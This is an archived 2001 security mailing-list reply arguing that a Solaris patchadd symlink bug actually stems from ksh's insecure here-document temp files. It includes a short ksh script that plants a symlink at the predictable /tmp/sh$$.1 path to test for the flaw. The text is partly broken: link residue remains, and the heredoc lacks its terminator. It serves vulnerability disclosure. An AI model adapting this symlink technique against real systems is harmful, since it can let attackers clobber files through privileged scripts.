Re: Solaris Patchadd symlink exploit.

From: Paul Szabo (
Date: 08/27/01

Date: Tue, 28 Aug 2001 07:06:08 +1000 (EST)
From: (Paul Szabo)
Message-Id: <>
Subject: Re:  Solaris Patchadd symlink exploit.

> Here is an exploit to an old bug for patchadd in Solaris. ...
> #See BID

The bug is not in the patchadd script, but in the Korn shell ksh that
creates "here documents" insecurely.

Demonstration (ksh is vulnerable if the size of silly.1 is changed):

#!/bin/ksh -x
touch /tmp/silly.1
ln -s /tmp/silly.1 /tmp/sh$$.1
ls -l /tmp/silly.* /tmp/sh$$.*
cat <<EOF
Just some short text
ls -l /tmp/silly.* /tmp/sh$$.*
rm /tmp/silly.* /tmp/sh$$.*

Note that there is a similar bug in the Bourne shell sh. For a historical
perspective see articles:">">">">


Paul Szabo -
School of Mathematics and Statistics University of Sydney 2006 Australia